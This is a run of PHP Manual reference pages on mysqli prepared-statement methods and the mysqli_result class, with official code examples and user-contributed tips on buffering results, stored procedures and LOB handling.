Number of rows: 20.

See Also

  • mysqli_stmt_affected_rows() - Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

Typer85 at gmail dot com 27-Dec-2006 04:12
Please be advised, for people who sometimes miss to read this important Manual entry for this function:

If you do not use mysqli_stmt_store_result( ), and immediatley call this function after executing a prepared statement, this function will usually return 0 as it has no way to know how many rows are in the result set as the result set is not saved in memory yet.

mysqli_stmt_store_result( ) saves the result set in memory thus you can immedietly use this function after you both execute the statement AND save the result set.

If you do not save the result set but still want to use this function you have to actually loop through the result set one row at a time using mysqli_stmt_fetch( ) before using this function to determine the number of rows.

A thought though, if you want to determine the number of rows without storing the result set and after looping through it, why not just simply keep an internal counter in your loop every time a row is fetched and save the function call.

In short, this function is only really useful if you save the result set and want to determine the number of rows before looping through it, otherwise you can pretty much recreate its use like I suggested.
mysqli_stmt::$insert_id
mysqli_stmt::$param_count
mysqli_stmt


Returns the number of parameter for the given statement

mysqli_stmt::$num_rows
mysqli_stmt::prepare
mysqli_stmt
PHP Manual

mysqli_stmt::$param_count

mysqli_stmt_param_count

(PHP 5)

mysqli_stmt::$param_count -- mysqli_stmt_param_count — Returns the number of parameter for the given statement

Description

Object oriented style

int $mysqli_stmt->param_count;

Procedural style

int mysqli_stmt_param_count ( mysqli_stmt $stmt )

Returns the number of parameter markers present in the prepared statement.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns an integer representing the number of parameters.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = $stmt->param_count;
    printf("Statement has %d markers.\n", $marker);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = mysqli_prepare($link, "SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = mysqli_stmt_param_count($stmt);
    printf("Statement has %d markers.\n", $marker);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Statement has 2 markers.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

Senthryl 10-Mar-2009 11:47
This parameter (and presumably any other parameter in mysqli_stmt) will raise an error with the message "Property access is not allowed yet" if the statement was not prepared properly, or not prepared at all.

To prevent this, always ensure that the return value of the "prepare" statement is true before accessing these properties.
mysqli_stmt::$num_rows
mysqli_stmt::prepare
mysqli_stmt


Prepare an SQL statement for execution

mysqli_stmt::$param_count
mysqli_stmt::reset
mysqli_stmt
PHP Manual

mysqli_stmt::prepare

mysqli_stmt_prepare

(PHP 5)

mysqli_stmt::prepare -- mysqli_stmt_prepare — Prepare an SQL statement for execution

Description

Object oriented style

mixed mysqli_stmt::prepare ( string $query )

Procedural style

bool mysqli_stmt_prepare ( mysqli_stmt $stmt , string $query )

Prepares the SQL query pointed to by the null-terminated string query.

The parameter markers must be bound to application variables using mysqli_stmt_bind_param() and/or mysqli_stmt_bind_result() before executing the statement or fetching rows.

Note:

In the case where you pass a statement to mysqli_stmt_prepare() that is longer than max_allowed_packet of the server, the returned error codes are different depending on whether you are using MySQL Native Driver (mysqlnd) or MySQL Client Library (libmysql). The behavior is as follows:

  • mysqlnd on Linux returns an error code of 1153. The error message means "got a packet bigger than max_allowed_packet bytes".

  • mysqlnd on Windows returns an error code 2006. This error message means "server has gone away".

  • libmysql on all platforms returns an error code 2006. This error message means "server has gone away".

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

query

The query, as a string. It must consist of a single SQL statement.

You can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

You should not add a terminating semicolon or \g to the statement.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Language (DML) statements, and not in Data Definition Language (DDL) statements.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$stmt =  $mysqli->stmt_init();
if ($stmt->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($district);

    /* fetch value */
    $stmt->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$stmt = mysqli_stmt_init($link);
if (mysqli_stmt_prepare($stmt, 'SELECT District FROM City WHERE Name=?')) {

    /* bind parameters for markers */
    mysqli_stmt_bind_param($stmt, "s", $city);

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $district);

    /* fetch value */
    mysqli_stmt_fetch($stmt);

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Amersfoort is in district Utrecht

See Also

  • mysqli_stmt_init() - Initializes a statement and returns an object for use with mysqli_stmt_prepare
  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_close() - Closes a prepared statement

User Contributed Notes

ndungi at gmail dot com 22-Apr-2009 02:25
The `prepare` , `bind_param`, `bind_result`, `fetch` result, `close` stmt cycle can be tedious at times. Here is an object that does all the mysqli mumbo jumbo for you when all you want is a select leaving you to the bare essential `preparedSelect` on a prepared stmt. The method returns the result set as a 2D associative array with the `select`ed columns as keys. I havent done sufficient error-checking and it also may have some bugs. Help debug and improve on it.

I used the bible.sql db from http://www.biblesql.net/sites/biblesql.net/files/bible.mysql.gz.

Baraka tele!

============================

<?php

class DB
{
    public $connection;

    #establish db connection
    public function __construct($host="localhost", $user="user", $pass="", $db="bible")
    {
        $this->connection = new mysqli($host, $user, $pass, $db);

        if(mysqli_connect_errno())
        {
            echo("Database connect Error : "
            . mysqli_connect_error($mysqli));
        }
    }

    #store mysqli object
    public function connect()
    {
        return $this->connection;
    }

    #run a prepared query
    public function runPreparedQuery($query, $params_r)
    {
        $stmt = $this->connection->prepare($query);
        $this->bindParameters($stmt, $params_r);

        if ($stmt->execute()) {
            return $stmt;
        } else {
            echo("Error in $statement: "
                      . mysqli_error($this->connection));
            return 0;
        }

    }

 # To run a select statement with bound parameters and bound results.
 # Returns an associative array two dimensional array which u can easily
 # manipulate with array functions.

    public function preparedSelect($query, $bind_params_r)
    {
        $select = $this->runPreparedQuery($query, $bind_params_r);
        $fields_r = $this->fetchFields($select);

        foreach ($fields_r as $field) {
            $bind_result_r[] = &${$field};
        }

        $this->bindResult($select, $bind_result_r);

        $result_r = array();
        $i = 0;
        while ($select->fetch()) {
            foreach ($fields_r as $field) {
                $result_r[$i][$field] = $$field;
            }
            $i++;
        }
        $select->close();
        return $result_r;
    }

    #takes in array of bind parameters and binds them to result of
    #executed prepared stmt

    private function bindParameters(&$obj, &$bind_params_r)
    {
        call_user_func_array(array($obj, "bind_param"), $bind_params_r);
    }

    private function bindResult(&$obj, &$bind_result_r)
    {
        call_user_func_array(array($obj, "bind_result"), $bind_result_r);
    }

    #returns a list of the selected field names

    private function fetchFields($selectStmt)
    {
        $metadata = $selectStmt->result_metadata();
        $fields_r = array();
        while ($field = $metadata->fetch_field()) {
            $fields_r[] = $field->name;
        }

        return $fields_r;
    }
}
#end of class

#An example of the DB class in use

$DB = new DB("localhost", "root", "", "bible");
$var = 5;
$query = "SELECT abbr, name from books where id > ?" ;
$bound_params_r = array("i", $var);

$result_r = $DB->preparedSelect($query, $bound_params_r);

#loop thru result array and display result

foreach ($result_r as $result) {
    echo $result['abbr'] . " : " . $result['name'] . "<br/>" ;
}

?>
kontakt at arthur minus schiwon dot de 16-Jun-2008 07:22
If you wrap the placeholders with quotation marks you will experience warnings like "Number of variables doesn't match number of parameters in prepared statement" (at least with INSERT Statements).
mhradek AT gmail.com 15-May-2008 04:06
A particularly helpful adaptation of this function and the call_user_func_array function:

// $params is sent as array($val=>'i', $val=>'d', etc...)

function db_stmt_bind_params($stmt, $params)
{
    $funcArg[] = $stmt;
    foreach($params as $val=>$type)
    {
        $funcArg['type'] .= $type;
        $funcArg[] = $val;
    }
    return call_user_func_array('mysqli_stmt_bind_param', $funcArgs);
}

Thanks to 'sned' for the code.
lukaszNOSPAMPLEASE at epas dot pl 15-Jan-2008 07:15
i've got some bad news for you guys if you haven't found out already.
the trick with mysqli_next_result() only prevents having the connection dropped after a stored procedure call.
apparently you can bind parameters for a prepared stored procedure call, but you'll get messed up records from mysqli_stmt_fetch() after mysqli_stmt_bind_result(), at least when the stored procedure itself contains a prepared statement.
a way to avoid data corruption could be specifying the CLIENT_MULTI_STATEMENTS flag in mysqli_real_connect(), if it wasn't disabled entirely (for security reasons, as they say). another option is to use mysqli_multi_query(), but then you can't bind at all.
st dot john dot johnson at gmail dot com 04-Jun-2007 08:59
In reference to what lachlan76 said before, stored procedures CAN be executed through prepared statements as long as you tell the DB to move to the next result before executing again.

Example (Five calls to a stored procedure):

<?php
for ($i=0;$i<5;$i++) {
  $statement = $mysqli->stmt_init();
  $statement->prepare("CALL some_procedure( ? )");

  // Bind, execute, and bind.
  $statement->bind_param("i", 1);
  $statement->execute();
  $statement->bind_result($results);

  while($statement->fetch()) {
    // Do what you want with your results.
  }

  $statement->close();

  // Now move the mysqli connection to a new result.
  while($mysqli->next_result()) { }
}
?>

If you include the last statement, this code should execute without the nasty "Commands out of sync" error.
lachlan76 at gmail dot com 28-Nov-2006 08:59
Do not try to use a stored procedure through a prepared statement.

Example:

<?php
$statement = $mysqli->stmt_init();
$statement->prepare("CALL some_procedure()");
?>

If you attempt to do this, it will fail by dropping the connection during the next query.  Use mysqli_multi_query instead.

Example:

<?php
$mysqli->multi_query("CALL some_procedure()");
do
{
  $result = $mysqli->store_result();

   // Do your processing work here

  $result->free();
} while($mysqli->next_result());
?>

This means that you cannot bind parameters or results, however.
andrey at php dot net 07-Oct-2005 05:35
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
mysqli_stmt::$param_count
mysqli_stmt::reset
mysqli_stmt


Resets a prepared statement

mysqli_stmt::prepare
mysqli_stmt::result_metadata
mysqli_stmt
PHP Manual

mysqli_stmt::reset

mysqli_stmt_reset

(PHP 5)

mysqli_stmt::reset -- mysqli_stmt_reset — Resets a prepared statement

Description

Object oriented style

bool mysqli_stmt::reset ( void )

Procedural style

bool mysqli_stmt_reset ( mysqli_stmt $stmt )

Resets a prepared statement on client and server to state after prepare.

It resets the statement on the server, data sent using mysqli_stmt_send_long_data(), unbuffered result sets and current errors. It does not clear bindings or stored result sets. Stored result sets will be cleared when executing the prepared statement (or closing it).

To prepare a statement with another query use function mysqli_stmt_prepare().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::prepare
mysqli_stmt::result_metadata
mysqli_stmt


Returns result set metadata from a prepared statement

mysqli_stmt::reset
mysqli_stmt::send_long_data
mysqli_stmt
PHP Manual

mysqli_stmt::result_metadata

mysqli_stmt_result_metadata

(PHP 5)

mysqli_stmt::result_metadata -- mysqli_stmt_result_metadata — Returns result set metadata from a prepared statement

Description

Object oriented style

mysqli_result mysqli_stmt::result_metadata ( void )

Procedural style

mysqli_result mysqli_stmt_result_metadata ( mysqli_stmt $stmt )

If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object that can be used to process the meta information such as total number of fields and individual field information.

Note:

This result set pointer can be passed as an argument to any of the field-based functions that process result set metadata, such as:

  • mysqli_num_fields()

  • mysqli_fetch_field()

  • mysqli_fetch_field_direct()

  • mysqli_fetch_fields()

  • mysqli_field_count()

  • mysqli_field_seek()

  • mysqli_field_tell()

  • mysqli_free_result()

The result set structure should be freed when you are done with it, which you can do by passing it to mysqli_free_result()

Note:

The result set returned by mysqli_stmt_result_metadata() contains only metadata. It does not contain any row results. The rows are obtained by using the statement handle with mysqli_stmt_fetch().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns a result object or FALSE if an error occurred.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query("DROP TABLE IF EXISTS friends");
$mysqli->query("CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query("INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = $mysqli->prepare("SELECT id, name FROM friends");
$stmt->execute();

/* get resultset for metadata */
$result = $stmt->result_metadata();

/* retrieve field information from metadata result set */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* close resultset */
$result->close();

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = mysqli_prepare($link, "SELECT id, name FROM friends");
mysqli_stmt_execute($stmt);

/* get resultset for metadata */
$result = mysqli_stmt_result_metadata($stmt);

/* retrieve field information from metadata result set */
$field = mysqli_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* close resultset */
mysqli_free_result($result);

/* close connection */
mysqli_close($link);
?>

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_free_result() - Frees the memory associated with a result

User Contributed Notes

potherca at gmail dot com 15-Apr-2010 12:52
If result_metadata() returns false but error/errno/sqlstate tells you no error occurred, this means your query is one that does not produce a result set, i.e. an INSERT/UPDATE/DELETE query instead of a SELECT query.

This is stated in the documentation where it says "If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object", but it might not be clear to everyone what this entails exactly.

Hope this helps.
raatjetoe 16-Mar-2010 07:08
In order to fetch meta data for the expected result you do not have to execute a query, nor does the table have to contain any data.
The metadata is already available after the statement has been prepared.
mysqli_stmt::reset
mysqli_stmt::send_long_data
mysqli_stmt


Send data in blocks

mysqli_stmt::result_metadata
mysqli_stmt::$sqlstate
mysqli_stmt
PHP Manual

mysqli_stmt::send_long_data

mysqli_stmt_send_long_data

(PHP 5)

mysqli_stmt::send_long_data -- mysqli_stmt_send_long_data — Send data in blocks

Description

Object oriented style

bool mysqli_stmt::send_long_data ( int $param_nr , string $data )

Procedural style

bool mysqli_stmt_send_long_data ( mysqli_stmt $stmt , int $param_nr , string $data )

Allows to send parameter data to the server in pieces (or chunks), e.g. if the size of a blob exceeds the size of max_allowed_packet. This function can be called multiple times to send the parts of a character or binary data value for a column, which must be one of the TEXT or BLOB datatypes.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

param_nr

Indicates which parameter to associate the data with. Parameters are numbered beginning with 0.

data

A string containing data to be sent.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$stmt = $mysqli->prepare("INSERT INTO messages (message) VALUES (?)");
$null = NULL;
$stmt->bind_param("b", $null);
$fp = fopen("messages.txt", "r");
while (!feof($fp)) {
    $stmt->send_long_data(0, fread($fp, 8192));
}
fclose($fp);
$stmt->execute();
?>

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

Gustavo Narea 16-May-2006 07:00
Just in case:

'max_allowed_packet' is a MySQL variable; it is not a PHP function/variable/constant.

Further info: http://dev.mysql.com/doc/refman/4.1/en/packet-too-large.html

HTH.
lussnig at smcc dot de 26-Oct-2005 07:31
send_long_data() these function is normaly used to store Data in Binary blob field. But if the table is UTF8 and connection charset it does not expect binary data (for example images) it take utf8 Data.
This mean you have to do utf8_encode bevore sending binary data.
mysqli_stmt::result_metadata
mysqli_stmt::$sqlstate
mysqli_stmt


Returns SQLSTATE error from previous statement operation

mysqli_stmt::send_long_data
mysqli_stmt::store_result
mysqli_stmt
PHP Manual

mysqli_stmt::$sqlstate

mysqli_stmt_sqlstate

(PHP 5)

mysqli_stmt::$sqlstate -- mysqli_stmt_sqlstate — Returns SQLSTATE error from previous statement operation

Description

Object oriented style

string $mysqli_stmt->sqlstate;

Procedural style

string mysqli_stmt_sqlstate ( mysqli_stmt $stmt )

Returns a string containing the SQLSTATE error code for the most recently invoked prepared statement function that can succeed or fail. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC. For a list of possible values, see » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Notes

Note:

Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->sqlstate);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_sqlstate($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: 42S02.

See Also

  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::send_long_data
mysqli_stmt::store_result
mysqli_stmt


Transfers a result set from a prepared statement

mysqli_stmt::$sqlstate
mysqli_result
mysqli_stmt
PHP Manual

mysqli_stmt::store_result

mysqli_stmt_store_result

(PHP 5)

mysqli_stmt::store_result -- mysqli_stmt_store_result — Transfers a result set from a prepared statement

Description

Object oriented style

bool mysqli_stmt::store_result ( void )

Procedural style

bool mysqli_stmt_store_result ( mysqli_stmt $stmt )

You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data.

Note:

It is unnecessary to call mysqli_stmt_store_result() for other queries, but if you do, it will not harm or cause any notable performance in all cases. You can detect whether the query produced a result set by checking if mysqli_stmt_result_metadata() returns NULL.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* store result */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* free result */
    $stmt->free_result();

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* store result */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* free result */
    mysqli_stmt_free_result($stmt);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Number of rows: 20.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables

User Contributed Notes

pcc at pccglobal dot com 30-Jul-2010 04:16
When using prepare to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch
The following applies to a Windows SBS server running IIS/6.0 + PHP 5.2.1
MySQL server version 5.0.26-community-nt, client version 5.0.51a

<?php
$database = "test" ;
$table = "test" ;
$column = "flongblob" ;
$mysqli = new mysqli("localhost", "root", "<secret_password>", $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT `$column` FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
// Fetch a record. Bind the result to a variable called 'value' and fetch.
$stmt->bind_result($value) ;
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
// Fetch another record.
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
  flongblob data length is 932353 bytes.
  flongblob data length is 867300 bytes.

If wrong procedure order MySQLi crashes or outputs:
  flongblob data length is 0 bytes.
  flongblob data length is 867300 bytes.
neromir at hotmail dot com 28-Oct-2008 07:14
The wording above, in the initial description of the function, can be confusing (quoted below).

"You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data. "

I had initially understood the part saying "and only if you want to buffer..." to mean that it was only necessary to call this function if you wanted to buffer the result set.  This, however, is not the case, and the misunderstanding caused me quite a bit of grief.

So, to clarify for anyone suffering from the same misunderstanding, you ALWAYS must call this function for every query that produces a result set (as listed in the parentheses of the quote above), as far as I can tell.
Typer85 at gmail dot com 27-Dec-2006 03:58
In response to the note below me for the claim that mysqli_fetch_fields is not compatible with prepared statements.

This is untrue, it is but you have to do a little extra work. I would recommend you use a wrapper function of some sort to take care of the dirty business for you but the basic idea is the same.

Let's assume you have a prepared statement like so. I am going to use the procedural way for simplicity but the same idea can be done using the object oriented way:

<?php

// Connect Blah Blah Blah.

$connectionLink = mysqli_connect( .... );

// Query Blab Blah Blah.

$query = "Select `Id` From `Table` Where `Id` = ?";

// Prepare Query.

$prepareObject = mysqli_prepare( $connectionLink , $query );

// Bind Query.

mysqli_stmt_bind_param( $prepareObject , 'i' , 1 );

// Execute Query.

mysqli_stmt_execute( $prepareObject );

?>

Now all the above is fine and dandy to anyone familiar with using prepared statements, but if I want to use mysqli_fetch_fields or any other function that fetches meta information about a result set but does not work on prepared statements?

Enter the special function mysqli_stmt_result_metadata. It can be used as follows, assume the following code segment immediatley follows that of the above code segment.

<?php

$metaData = mysqli_stmt_result_metadata( $prepareObject );

// I Can Now Call mysqli_fetch_fields using the variable
// $metaData as an argument.

$fieldInfo = mysqli_fetch_fields( $metaData );

// Or Even This.

$fieldInfo = mysqli_num_fields( $metaData );

?>

Take a look at the Manual entry for mysqli_stmt_result_metatdata function for full details on how to expose it with prepared statements.

Good Luck,
UCFirefly (at) yahoo.com 20-Feb-2006 12:25
fetch_fields() does not seem to be compatible with prepared statements like those used here. Makes things difficult if you're using a wildcard. I guess that's better for security in some obscure way.

-Alex Boese
mysqli_stmt::$sqlstate
mysqli_result
mysqli_stmt


The mysqli_result class

(No version information available, might only be in SVN)

Introduction

Represents the result set obtained from a query against the database.

Changelog

Changelog
Version | Description
5.4.0 | Iterator support was added, as mysqli_result now implements Traversable.

Class synopsis

mysqli_result implements Traversable {
/* Properties */
int $current_field ;
int $field_count;
array $lengths;
int $num_rows;
/* Methods */
bool data_seek ( int $offset )
mixed fetch_all ([ int $resulttype = MYSQLI_NUM ] )
mixed fetch_array ([ int $resulttype = MYSQLI_BOTH ] )
array fetch_assoc ( void )
object fetch_field_direct ( int $fieldnr )
object fetch_field ( void )
array fetch_fields ( void )
object fetch_object ([ string $class_name [, array $params ]] )
mixed fetch_row ( void )
bool field_seek ( int $fieldnr )
void free ( void )
}

Table of Contents

  • mysqli_result::$current_field — Get current field offset of a result pointer
  • mysqli_result::data_seek — Adjusts the result pointer to an arbitary row in the result
  • mysqli_result::fetch_all — Fetches all result rows as an associative array, a numeric array, or both
  • mysqli_result::fetch_array — Fetch a result row as an associative, a numeric array, or both
  • mysqli_result::fetch_assoc — Fetch a result row as an associative array
  • mysqli_result::fetch_field_direct — Fetch meta-data for a single field
  • mysqli_result::fetch_field — Returns the next field in the result set
  • mysqli_result::fetch_fields — Returns an array of objects representing the fields in a result set
  • mysqli_result::fetch_object — Returns the current row of a result set as an object
  • mysqli_result::fetch_row — Get a result row as an enumerated array
  • mysqli_result::$field_count — Get the number of fields in a result
  • mysqli_result::field_seek — Set result pointer to a specified field offset
  • mysqli_result::free — Frees the memory associated with a result
  • mysqli_result::$lengths — Returns the lengths of the columns of the current row in the result set
  • mysqli_result::$num_rows — Gets the number of rows in a result

User Contributed Notes

sinisaculic at gmail dot com 21-Oct-2010 01:58
storing this object in ANY kind will result in storing an empty object... if you try to serialize it dump it or do anything with it you will end up with a empty object.

you have to pull all data out f the object and then store the data... no other way.
Anonymous 18-Apr-2010 11:39
Generally, it appears Mysqli OO vs Procedural style has no significant difference in speed, at least with the more generally used functions and methods (connect, close, query, free, etc).

With the fetch_* family of functions and methods dealing with result rows, however, Procedural wins out.  Averaging over a hundred or so tests with a result set of 180,000 records, and using mysqli_fetch_*() functions vs. their mysqli_result::fetch_*() counterpart object methods to read and iterate over all records, all of the mysqli_fetch_*() functions win by ~0.1 seconds less.

This is interesting considering we're dealing with the same result object in both styles.

This was using Vistax64, PHP5.3.2, Mysql 5.1.45, using a bit of this code:

<?php

// procedural - takes 0.1 seconds less than OO here
$stopwatch = microtime(true);
while($row = mysqli_fetch_assoc($result)){
    ++$z;
    }
echo microtime(true) - $stopwatch;

// OO
$stopwatch = microtime(true);
while($row = $result->fetch_assoc()){
    ++$z;
    }
echo microtime(true) - $stopwatch;

?>
blar at blar dot de 08-Jan-2009 02:47
Extending the MySQLi_Result

<?php

class Database_MySQLi extends MySQLi
{
    public function query($query)
    {
        $this->real_query($query);
        return new Database_MySQLi_Result($this);
    }
}

class Database_MySQLi_Result extends MySQLi_Result
{
    public function fetch()
    {
        return $this->fetch_assoc();
    }

    public function fetchAll()
    {
        $rows = array();
        while($row = $this->fetch())
        {
            $rows[] = $row;
        }
        return $rows;
    }
}

?>
mysqli_stmt::store_result
mysqli_result::$current_field
Mysqli


Get current field offset of a result pointer

mysqli_result
mysqli_result::data_seek
mysqli_result
PHP Manual

mysqli_result::$current_field

mysqli_field_tell

(PHP 5)

mysqli_result::$current_field -- mysqli_field_tell — Get current field offset of a result pointer

Description

Object oriented style

